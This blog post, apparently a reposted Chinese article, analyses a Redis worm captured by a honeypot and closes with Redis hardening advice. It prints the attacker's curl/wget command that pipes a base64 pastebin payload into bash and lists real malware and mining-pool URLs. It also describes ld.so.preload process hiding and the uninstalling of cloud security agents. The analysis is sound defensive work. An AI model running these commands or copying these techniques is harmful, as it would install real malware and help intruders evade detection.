一次Redis未授权访问漏洞入侵分析

0x00 简介

通过之前部署的蜜罐系统,我近日在滴滴云上捕获到了一个通过 Redis 未授权访问漏洞进行入侵的蠕虫样本,该样本的特点是使用 Python 脚本进行横向漏洞扫描,并且具有进程隐藏和卸载某些云上安全产品的功能。

0x01 样本分析

通过蜜罐日志得到攻击者入侵开始于通过 Redis 写 crontab:
在这里插入图片描述
命令中的 URL https://pastebin.com/raw/1NtRkBc3 其实是一个中转,实际样本文件为 https://pastebin.com/raw/tRxfvbYN 在 base64 解码后的结果为:

curl https://pastebin.com/raw/1NtRkBc3

(curl -fsSL https://pastebin.com/raw/tRxfvbYN || wget -q -O- https://pastebin.com/raw/tRxfvbYN)|base64 -d |/bin/bash

解码后是一个 300+ 行的 shell 脚本,该脚本共有 9 个函数:

  • kills:根据关键字杀掉其他木马的进程和文件
  • system:从 https://pastebin.com/raw/CnPtQ2tM 下载 shell 脚本到 /bin/httpdns,然后创建定时任务定时执行该脚本,该脚本较本样本多了 init 函数:
    在这里插入图片描述
    • 该函数从 https://master.minerxmr.ru/x/1539937106x-1566688371.jpg 下载可执行文件到 /usr/sbin/netdns/etc/init.d/netdns,然后使用 chkconfig --add netdns 设置自动启动,该文件使用了 UPX 压缩,解压之后的内容即为执行 shell 命令下载的样本:
      在这里插入图片描述
  • top:从 https://master.minerxmr.ru/y/1539580368x-1566688371.jpg 下载动态链接库文件到 /usr/local/lib/libdns.so,然后将该路径写入到 /etc/ld.so.preload,从而使该库得以在其他可执行文件运行时被加载,该文件 hook 了 readdir 这个函数,使其忽略 /proc/kworkerds 这个进程对应的文件,从而导致 top 等命令无法查看到 kworkerds 这个进程,而这个进程就是后面要提到的挖矿主进程:
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
  • python:使用 Python 解码并执行一段 base64 数据:
    在这里插入图片描述
    • 这段代码实际也是为了中转,最终执行的 Python 代码如下:
      在这里插入图片描述
      • 该脚本从 ident.me 获取 IP 地址并扫描 B 段,这里需要注意的是,除了扫描 6379 端口的 Redis 未授权访问,该脚本还对 8161 端口的 ActiceMQ 任意文件上传漏洞(CVE-2016-3088)进行了扫描
  • echocron:创建定时任务,定时下载该样本:
    在这里插入图片描述
  • tables:更改 iptables,仅允许本地访问 6379 端口,防止其他入侵者继续入侵:
    在这里插入图片描述
  • uninstall:卸载阿里云安骑士和腾讯云云镜这两款主机安全产品,由此可见该蠕虫主要针对目标是国内的云主机:
    在这里插入图片描述
  • downloadrun:下载挖矿文件并运行:
    在这里插入图片描述
    • 可以看到该挖矿文件名称 kworkerds 即为上面提到的动态库想要隐藏的进程名。
  • downloadrunxm:从 https://master.minerxmr.ru/y/1540521844x-1404729716.jpg 下载挖矿配置文件,并且根据机器架构下载不同的挖矿程序并执行,挖矿的矿池地址为 stratum+tcp://x1.minerxmr.ru:56415

各函数的调用顺序如下:
在这里插入图片描述

从上述分析可以看到,这是一个针对 Redis 未授权访问漏洞的蠕虫,攻击者利用 pastebin.com 这种第三方文件传输服务来隐藏自身的位置(虽然后面使用了 ident.me 这个个人域名),使用动态链接库 hook 来隐藏进程,并且卸载了主流主机安全产品,可见入侵手法相对高级并具有针对性。

0x02 安全建议

Redis 未授权访问漏洞已经是一个常见漏洞,对于攻击者来说,该漏洞利用门槛低,成功利用后往往能获取较高权限,所以已被大量木马蠕虫所利用。建议用户使用以下方式对该漏洞进行防护:

  1. 设置 Redis 只能本机访问:在 redis.conf 中设置 bind 127.0.0.1
  2. 更改默认端口:在 redis.conf 中设置 port 端口
  3. 设置认证:在 redis.conf 中设置 requirepass 密码
  4. 在云控制台安全组中设置安全组,仅允许指定 IP 访问 Redis 所在端口
  5. 以低权限用户运行 Redis

如果发现漏洞已存在,建议通过以下方法检查是否已被入侵:

  1. 检查 crontab 等敏感文件,对于滴滴云的用户来讲,可以从主机安全的界面直接看到相关内容:

在这里插入图片描述

  1. 下载静态链接版本的命令文件比如 lstop 查看系统状态。

猜你喜欢

转载自blog.csdn.net/java060515/article/details/84392804